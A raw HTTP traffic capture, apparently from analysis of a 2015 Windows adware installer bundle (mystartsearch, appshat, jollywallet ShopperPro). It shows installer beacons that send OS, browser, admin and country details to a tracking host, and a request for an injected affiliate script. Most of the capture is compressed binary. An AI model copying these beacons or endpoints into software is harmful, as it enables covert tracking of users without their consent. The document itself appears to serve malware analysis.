log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=535559167_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/02/23 
20:01:24</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Tue, 24 Feb 2015 02:01:24 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1424743349 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: X1UoxIdhIqOjeJxCaLqkS9uVBU3UJNL1KwFFaUjaWjbLLdnhUsZIBHaxnX0ReRi8

x-amz-request-id: B774F0514C7E460C

Date: Tue, 24 Feb 2015 02:02:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: X1UoxI
dhIqOjeJxCaLqkS9uVBU3UJNL1KwFFaUjaWjbLLdnhUsZIBHaxnX0ReRi8..x-amz-requ
est-id: B774F0514C7E460C..Date: Tue, 24 Feb 2015 02:02:11 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-23&bic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&upi=d5d8d8a61601751d467a5854a16ce35a&procid=B8F7397C3B7E460AA7CD0C93BDD433C0PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147474944&asw4=0&crtnm=CR7Team&procstarttime=1424743349&procruntime=4&rnd=1424743353 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: kAzg2o54I mlacG pLWdNMSqrusGU1ugL78S/Ycv End4mo5Q/lhrKey5M4iqR3T

x-amz-request-id: 8B8E78EB857DBD46

Date: Tue, 24 Feb 2015 02:02:14 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:06 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: kAzg2o
54I mlacG pLWdNMSqrusGU1ugL78S/Ycv End4mo5Q/lhrKey5M4iqR3T..x-amz-requ
est-id: 8B8E78EB857DBD46..Date: Tue, 24 Feb 2015 02:02:14 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:06 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1424743354 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: seZjlN8F66/TzBMItVNymESZXDxg3FqSHzvr1kpev8/C3LFixhi5NZwT4ThSjJe5

x-amz-request-id: B511CE60EDF632A5

Date: Tue, 24 Feb 2015 02:02:15 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1424743354 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 9F/CTHRkhpgcFhRYiESsFkVcCPKJNmwXzhBDo28gVxAvXIl6qjn8v3QBPhryLait

x-amz-request-id: 38E9503FA9621EE5

Date: Tue, 24 Feb 2015 02:02:15 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 9F/CTH
RkhpgcFhRYiESsFkVcCPKJNmwXzhBDo28gVxAvXIl6qjn8v3QBPhryLait..x-amz-requ
est-id: 38E9503FA9621EE5..Date: Tue, 24 Feb 2015 02:02:15 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1424743355 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: gfvN2x/CiuIic9xELsVRj7apsKLCnGfHVNLOUgqtGGp6DJL9T0SX1UmDKUooKS2u

x-amz-request-id: D1941A9189E86E76

Date: Tue, 24 Feb 2015 02:02:16 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: gfvN2x
/CiuIic9xELsVRj7apsKLCnGfHVNLOUgqtGGp6DJL9T0SX1UmDKUooKS2u..x-amz-requ
est-id: D1941A9189E86E76..Date: Tue, 24 Feb 2015 02:02:16 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1424743356 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 0pEtLLts7LHw8iqej59u0cFT5 pS/jdOXcApu30foUJTbb0IeN04W7A8ELVjyshe

x-amz-request-id: E6E5E0CF6FF3EAC8

Date: Tue, 24 Feb 2015 02:02:16 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1424743356 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 4wEfFK2/f/Dy3OD1ofbmaydHcWQ95GMhBcWcQy278Etk4AEkQhj90Q5SHtY/8Je4

x-amz-request-id: 0CAA6B3E66C60E02

Date: Tue, 24 Feb 2015 02:02:17 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1424743356 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: BhS JksN bpBNKMGGLdZ6JsFhntHcRaKa9xplYznk9XnGVR6bNVs/9RdDahY/MN9

x-amz-request-id: 3E068468469A1394

Date: Tue, 24 Feb 2015 02:02:17 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1424743356 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: zlD7vFu3ChcuMGl7zjh ajHuszEqVTXIKR1Q2QnSCGHO/NTGNYMcb5Xp9XAuSrQf

x-amz-request-id: FD12BDD5388FA57F

Date: Tue, 24 Feb 2015 02:02:17 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1424743356 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: B75kwUuHKnLRJ 1AH3kO5WDXmJPMSjxA0F8FaVMbqMQuVHVfFbawIXzzVnlkN4AD

x-amz-request-id: 42EDAE448D04B571

Date: Tue, 24 Feb 2015 02:02:17 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: B75kwU
uHKnLRJ 1AH3kO5WDXmJPMSjxA0F8FaVMbqMQuVHVfFbawIXzzVnlkN4AD..x-amz-requ
est-id: 42EDAE448D04B571..Date: Tue, 24 Feb 2015 02:02:17 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1424743358 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: XqqYxfivq/xV/y/flqaYfZKmnNbDt4lFyg/W/M0Fg6EMxP7v0LdZU5Wrd5B3UjMw

x-amz-request-id: 423427C5D676331C

Date: Tue, 24 Feb 2015 02:02:19 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1424743358 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: DkWddqUxH1Q3EWIO47tAyfMPZ8Z1JM7GntO qsJQjsZk3tfz0AuVU1Q0i2hcreNg

x-amz-request-id: 8F6AF7A37B911E14

Date: Tue, 24 Feb 2015 02:02:19 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1424743358 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: wN7aE5f9Ootx8VlQPj5hN2sBCK2 1QmOJcjKls3XnIYGqNxAJEJ PFppGriWxv3W

x-amz-request-id: EC0D16E4CFD267D3

Date: Tue, 24 Feb 2015 02:02:19 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: wN7aE5
f9Ootx8VlQPj5hN2sBCK2 1QmOJcjKls3XnIYGqNxAJEJ PFppGriWxv3W..x-amz-requ
est-id: EC0D16E4CFD267D3..Date: Tue, 24 Feb 2015 02:02:19 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1424743359 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: C/7GHBdtr1p0zziqdVg1AxfCbSKRtP9FFdWPzKp3vjf3AKR0yE5QJlO1x/f5l3Pj

x-amz-request-id: 7C4188E14DE40516

Date: Tue, 24 Feb 2015 02:02:20 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1424743359 HTTP/1.1

Host: errors.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: rp7cQdL 1AIR2Mq2/7VJM0Ef3wd1cUS3VGURQw9ZpD9/MKsksxfSlrvv n2yXyzG

x-amz-request-id: 4E12441A76BE1DAD

Date: Tue, 24 Feb 2015 02:02:20 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: rp7cQd
L 1AIR2Mq2/7VJM0Ef3wd1cUS3VGURQw9ZpD9/MKsksxfSlrvv n2yXyzG..x-amz-requ
est-id: 4E12441A76BE1DAD..Date: Tue, 24 Feb 2015 02:02:20 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 11 Mar 2014 09:25:17 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /affiliate/client?dist=141&sub=iF2OwJSsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Tue, 24 Feb 2015 02:02:59 GMT

Expires: Sat, 28 Feb 2015 02:02:59 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 11066

Connection: keep-alive
...........}ks.F..g.W....b............y..c..".Z...$$...P.......z..."..
}7.1.n..GV..2.....{7.n...v;..M.9...:.n..oi....^`..Q..O...........C2.v.
i.'.~.@..<....j.]..a.k-7MM.....)\..X.. Qs...TX.q.....A.Kc....[(&`..
. .....j.c.C..V..x..g..0..VxyI.S....4..J..<......Z.Q..... .)..b...n
.D^^..=.T....f........y.[(.....d....u..x.E3.24..$..u.l.K?...$...]...X.
...~.W....^_.......f.~.Ro...%.u.u.`...?.n.c.L.....g.......p...7. nl...
...)7..V\..5fDC.....Q....:k....{.F.wy.......8..YAy..*.M-2..7p?[&)H.<
;[email protected]..<.BV...L...)[..(..u.(.....0f.4p.f..R........0_.z.. ..n
...B...Q.gR.kE...D.0V.`.M}..#.....^..%j...>...E../..#R....j.O6n... 
......!F^.....\. .k..e..o.. .K...JK... ,..ew...C.x...o.\r..aZ..7{.l1m.
i.G..)...a.5...8.......uK)..J.x........V.F.9.\....C*.P.,$`.*.R.M....*.
..R....G.n(..Y.t...;..S..-5D.!.?.......}.d9..E.,.c..n..........^.N."x.
h.H..../m4$..E..E......^......\BW..4...x....F.....oy./....N4../....z..
.6dm....XJh.....*z3 c.....m....ewe.s.1<....F._...0..=s....|.<.TW
..p..9s.X..Xv.?............Z.s...{..{.];Z.~..X...0.o.._.-l@{..k.Q.hmm`
..k.z..5....EI..@#.6..[Dw....*....h.% ..R.}..c;#.....!A.8x`NY.j.Q.G.".
..*.d1.0...RW..E.8..w.}p....]..@..........@;"[email protected]..'..r..`.z./..P..q.b
..EA_..Kd.k....e.H.G......l..G...Q.:j.x........B..."X.. Q.T.8.4Gz. 5..
..5!'$H..R?h\.@..= [email protected]&....4..$-f...UN....~5..(P...'../.&
.K....=........Z. .G...{............f.....C....w..........}...x..../..
.........]..Q....G.9UMB%..G....{.........eo....x........,...(7..@L..:x
,..jO.{.;X*.|l.e....^.'l..O...VH:l.e...3.......ucjcS..M..x4...k.J.<<< skipped >>>

GET /home HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: symfony=askihtrj7kmrsqb6nrck15elr5; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip
17b1.............][s.Hv~._.....D..j[..%...(*.m.xj....$,....dyg.R..J...
&O...!....C.Ivry._...H..%...).H$.h.9}......wz....:d..Cr.....6im....-.;
.....~....D.... ......9l..(.&OE...B.P.8...c...K.../7.....y.......n.F..
.id....[|...F....Zd.j. B..............o.....(K.a..CF'A*..Xt.......r...
p.$,.\K....#..5.]N..Z..e|.Z9..e.X.&...ip.....,.6..."n.n..?.....#..,..f
..."bu......YX}.=..d.f....G..=..I0...|.l8.R......$b...yI.x.N&$....6...
...2../H...%d.g......'.F.O.#4..AS...7.D..(N*k9..q.....|c.y..&q.......l
.....e...g$.@_4.H]..M.......E.xi.....Xr...&g,...!.?....0p).'n.<8...
..&.8..]..N.S:.n........5...b..B...Z).......I. ...S $.....0....9...B-.
..."c...C\l....%.i............M7Ibo.f.o.0..2'~7.1.....".-=....I.....[.
.:....0pR...S.\..`.J.F...o...s.....l.4..Y.$...mL.U?.mZ./]e.x..]H.1x..h
...',f.G.. ......!..i....8XO....z.N..O~.|..2g.mH..,p...............M..
....?.u>.>).%....~.....x"L...1M..18y..7...pS...!wh..?yF7!G..7...
...'..i..;dYy }q...Cpp..^....hz...2^q..>....`...cB..,.^0...1....7O.
_..._.{...n}.....Z!~.).Ag..e....)F....g_.s.......u.....).nX..!..%.....
...gR.y|....s...W...fq&..;.w..j/8'.....h.7.....zc...;"..........d~./f.
.f..a.i......4.F...........q.....>.....@.../..(.3..`<,.D0.......
N.-....>.ON.h....ai.KU.5..Br..\.....->........*..........N...9..
./.?...%...../.NI...e&2EP.`.f.HhM.......M8v<.....l4.;...Tth..D,...b
Y*..,...y..........K..z....ez9.I.2.TI..k....m.B.....g..-Y....}....08.%
...y..K.'J......-..."...TS.].....V\....TZ..46..1p!tE....,..l..).."...4
...j...-*........s....d.DO.........~J.1..s....Lh6..:.s.2.S..}.....<<< skipped >>>

GET /css/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: text/css

Content-Length: 0

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-0"

Expires: Tue, 24 Feb 2015 02:32:05 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes

....

GET /css/product.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 24 Feb 2015 02:32:05 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
221............}T.n. .}N...S^.Jnb'.*....K.......i.E..q.vp..HN....{..^.
..A.V_..V.q.TG...L..|...p....R.h/8........w..o.p.<....p......20..E.
!cX.C.......Z.|...........Ip.SR=m......Y."a......'.]...v`...-.....W^B.
]....Bl$..b..Wk...............M.w.2.^.. .g_0):......3D3.BfE&..>l).V
=....M...S.*......#&F]..."...L.2..T..|R{E"....'%W}.b.8.G....7.J..E-u..
.5k^;......_7b`..M-:....t.........Il@y...?.5Gqh.e^h5....L....%...Q)o.r
m0.=...anT>k......y#........\c.A...E.P..s..B......q..F.C...$...F..q
>.j=..."...gj4m..........w...... ;....K.(~r........8....vE....&....
....0......


GET /css/lightbox.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
487.............WM..6...W...$..._k.h.o...$.6.....(.0%.$.]o...!)....|..
...E.g...7.....A..r]Ob)=F.........7zW.<..`....!TrI..E.p$9. ...*^...
w....}uh........R...!*..h.~..1....p!S.r. ...<U...[....1U..W.....>
;.uw.....%..................P .g..m......m........r0............%.....
..IqN..<f..&.e.}B......x.....p...l.$..H"hj .6. ........{:.)n.g&.*4.
W\.....-..7Y....q..D_.e..XrY.p((. ...>q. A.V.`*.....|_$N.......x...
.^9.!e...q....v..B.EF!u>.q....U....8.{...5.....W..7.....8!?[..N?q..
...........:.t.....%4.......T..<s.k.xR...[B.im.(..&.....y...`.R...r
.enB.B.L.b...=......G.$...Q.......@9h..J.IB.L..NE.....C.cH....m.W.o...
.........-G.....>.yy....5C.MX.......rk..bl...B_......51^..e.e.. .9.
xpW....k......E.T.M...}.'X..,x..j.%Y.'.|...'....y.<n....y.........]
}.....o....H...wA..z..h.8.[.......\7PK."..]'..C...M.-]J.....J.X..w..mq
...R..j.b.o..S{xB....e......E....... .. %.gG...........&..3-.^..4j.l..
t)..%(..C. .W....K%..P..6...t...p..Kej..oW#E=.*Y.=.\. ........v...s...
..p}K3B..03W{.._io.....]...>.*Q..~..Z..........62$..Pv&.<....!..
xm..l.....m'..vC3./b\.......%}...f.y;.v.Yry...}.r.#V..yTqf.!SIC31....b
.....v=..H.|..C.b.l0`\.v.f.uU..4......w....B.O^.....E..^H]d%.A..T?F..)
4........0......


GET /js/jquery.smooth-scroll.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=askihtrj7kmrsqb6nrck15elr5


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:06 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 24 Feb 2015 02:32:06 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
51e.............Vao.6..._...!6,m..6H...-.a-.-......:I.iI........(9....
.....;...G._..y.........]Q....U...Y7....%.b...5|/...u.{.D.-....p.mxu.]
......7..w..Q......o/F.wE.X.43....**.]?@..*.|4B{ZI.k..&...L..._n<..
...?N....5....F_$...1e8.?<<..D...$..J.#p=.).f..2 Ov.ysl...ef.]..
...Y.4.4....i.oo.H.V`.*.$...BB0.....yJ...WK.......!p....ZS...k.1.,V.l6
.......G.......qpS.~d2U3.2{:.iU...v......r.un....x .s.7...pG.....aA..M
.....j..%......c.S...}....d.9.>QUm|k.!OMF0X`u....u4..zZp..M.....G"N
..6,..|18....b.!<L..3$.......r&..C ..l..'.........Y.:...O...L...h..
.k..Uz....C`..X..h...$H...b.....0Y..),.Y..\..8...._"...V...0..._..4..'
.....4.{gYQ....:x..]w~4......oD..r/x9.W.).........P8..:#........c..,8O
........6...&x.."u.C..E..U`..y2.1.....uD.X1U.. Ye..k..u....#........E.
...&.......icVVp....U= H...).:r..0<...j.oC.".....).mx..vxls.B.\...i
JU.0U1.c..`....?.../Rd;f:E..u1.%..'m......'.%.K$.R...N.jj......A_.H...
